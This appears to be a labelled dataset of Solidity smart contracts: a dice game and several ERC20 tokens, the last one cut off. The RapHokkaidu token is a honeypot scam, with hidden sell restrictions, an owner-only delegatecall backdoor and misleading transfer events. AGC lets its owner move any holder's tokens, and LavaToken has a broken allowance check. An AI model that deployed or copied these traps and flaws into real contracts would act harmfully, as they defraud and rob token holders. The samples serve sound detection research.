require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
function settleBet(uint reveal, uint cleanCommit) external {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
uint placeBlockNumber = bet.placeBlockNumber;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, blockhash(placeBlockNumber)));
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
if (jackpotRng == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin);
}
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin);
if (cleanCommit == 0) {
return;
}
clearProcessedBet(cleanCommit);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount);
}
function clearStorage(uint[] cleanCommits) external {
uint length = cleanCommits.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(cleanCommits[i]);
}
}
function clearProcessedBet(uint commit) private {
Bet storage bet = bets[commit];
if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BET_EXPIRATION_BLOCKS) {
return;
}
bet.modulo = 0;
bet.rollUnder = 0;
bet.placeBlockNumber = 0;
bet.mask = 0;
bet.gambler = address(0);
}
function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
} | 0 | 783 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RapHokkaidu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,329 |
pragma solidity ^0.4.21;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract AGC is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function AGC() TokenERC20(29000000, "AdGroupCoin", "AGC") public {
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function OwnerTransfer(address _from, address _to, uint256 _value) onlyOwner public {
_transfer(_from, _to, _value);
}
} | 1 | 3,197 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ECRecovery {
function recover(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract RelayAuthorityInterface {
function getRelayAuthority() public returns (address);
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract LavaToken is ECRecovery{
using SafeMath for uint;
address constant public masterToken = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
string public name = "Lava";
string public symbol = "LAVA";
uint8 public decimals = 8;
uint private _totalSupply;
event Approval(address indexed src, address indexed ext, uint amt);
event Transfer(address indexed src, address indexed dst, uint amt);
event Deposit(address indexed dst, uint amt);
event Withdrawal(address indexed src, uint amt);
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public allowance;
mapping (bytes32 => uint256) public burnedSignatures;
struct LavaPacket {
string methodName;
address relayAuthority;
address from;
address to;
address wallet;
uint256 tokens;
uint256 relayerRewardTokens;
uint256 expires;
uint256 nonce;
}
bytes32 constant LAVAPACKET_TYPEHASH = keccak256(
"LavaPacket(string methodName,address relayAuthority,address from,address to,address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce)"
);
function getLavaPacketTypehash() public pure returns (bytes32) {
return LAVAPACKET_TYPEHASH;
}
function getLavaPacketHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
return keccak256(abi.encode(
LAVAPACKET_TYPEHASH,
keccak256(bytes(methodName)),
relayAuthority,
from,
to,
wallet,
tokens,
relayerRewardTokens,
expires,
nonce
));
}
constructor() public {
}
function() external payable
{
revert();
}
function mutateTokens(address from, uint amount) public returns (bool)
{
require( amount >= 0 );
require( ERC20Interface( masterToken ).transferFrom( from, address(this), amount) );
balances[from] = balances[from].add(amount);
_totalSupply = _totalSupply.add(amount);
return true;
}
function unmutateTokens( uint amount) public returns (bool)
{
address from = msg.sender;
require( amount >= 0 );
balances[from] = balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
require( ERC20Interface( masterToken ).transfer( from, amount) );
return true;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function getAllowance(address owner, address spender) public view returns (uint)
{
return allowance[owner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom( address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowance[from][to] = allowance[from][to].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function _giveRelayerReward( address from, address to, uint tokens) internal returns (bool success){
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer( from, to, tokens);
return true;
}
function getLavaTypedDataHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
getLavaPacketHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce)
));
return digest;
}
function _tokenApprovalWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes32 sigHash, bytes memory signature) internal returns (bool success)
{
require( relayAuthority == address(0x0)
|| (!addressContainsContract(relayAuthority) && msg.sender == relayAuthority)
|| (addressContainsContract(relayAuthority) && msg.sender == RelayAuthorityInterface(relayAuthority).getRelayAuthority()) );
address recoveredSignatureSigner = recover(sigHash,signature);
require(from == recoveredSignatureSigner);
require(address(this) == wallet);
require(block.number < expires);
uint previousBurnedSignatureValue = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1;
require(previousBurnedSignatureValue == 0x0);
require(_giveRelayerReward(from, msg.sender, relayerRewardTokens));
allowance[from][to] = tokens;
emit Approval(from, to, tokens);
return true;
}
function approveTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('approve',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
return true;
}
function transferTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
require(transferFrom( from, to, tokens));
return true;
}
function approveAndCallWithSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature ) public returns (bool success) {
require(!bytesEqual('approve',bytes(methodName)) && !bytesEqual('transfer',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
_sendApproveAndCall(from,to,tokens,bytes(methodName));
return true;
}
function _sendApproveAndCall(address from, address to, uint tokens, bytes memory methodName) internal
{
ApproveAndCallFallBack(to).receiveApproval(from, tokens, address(this), bytes(methodName));
}
function burnSignature( string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
address recoveredSignatureSigner = recover(sigHash,signature);
require(recoveredSignatureSigner == from);
require(from == msg.sender);
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2;
require(burnedSignature == 0x0);
return true;
}
function signatureHashBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public returns (bool success) {
require(token == masterToken);
require(mutateTokens(from, tokens));
return true;
}
function addressContainsContract(address _to) view internal returns (bool)
{
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
return (codeLength>0);
}
function bytesEqual(bytes memory b1,bytes memory b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
} | 0 | 2,387 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function isOwner() internal view returns(bool success) {
if (msg.sender == owner) return true;
return false;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MSCE is Ownable, StandardToken {
using SafeMath for uint256;
uint8 public constant TOKEN_DECIMALS = 18;
string public name = "Mobile Ecosystem";
string public symbol = "MSCE";
uint8 public decimals = TOKEN_DECIMALS;
uint256 public totalSupply = 500000000 *(10**uint256(TOKEN_DECIMALS));
uint256 public soldSupply = 0;
uint256 public sellSupply = 0;
uint256 public buySupply = 0;
bool public stopSell = true;
bool public stopBuy = true;
uint256 public crowdsaleStartTime = block.timestamp;
uint256 public crowdsaleEndTime = block.timestamp;
uint256 public crowdsaleTotal = 0;
uint256 public buyExchangeRate = 10000;
uint256 public sellExchangeRate = 60000;
address public ethFundDeposit;
bool public allowTransfers = true;
mapping (address => bool) public frozenAccount;
bool public enableInternalLock = true;
mapping (address => bool) public internalLockAccount;
mapping (address => uint256) public releaseLockAccount;
event FrozenFunds(address target, bool frozen);
event IncreaseSoldSaleSupply(uint256 _value);
event DecreaseSoldSaleSupply(uint256 _value);
function MSCE() public {
balances[msg.sender] = totalSupply;
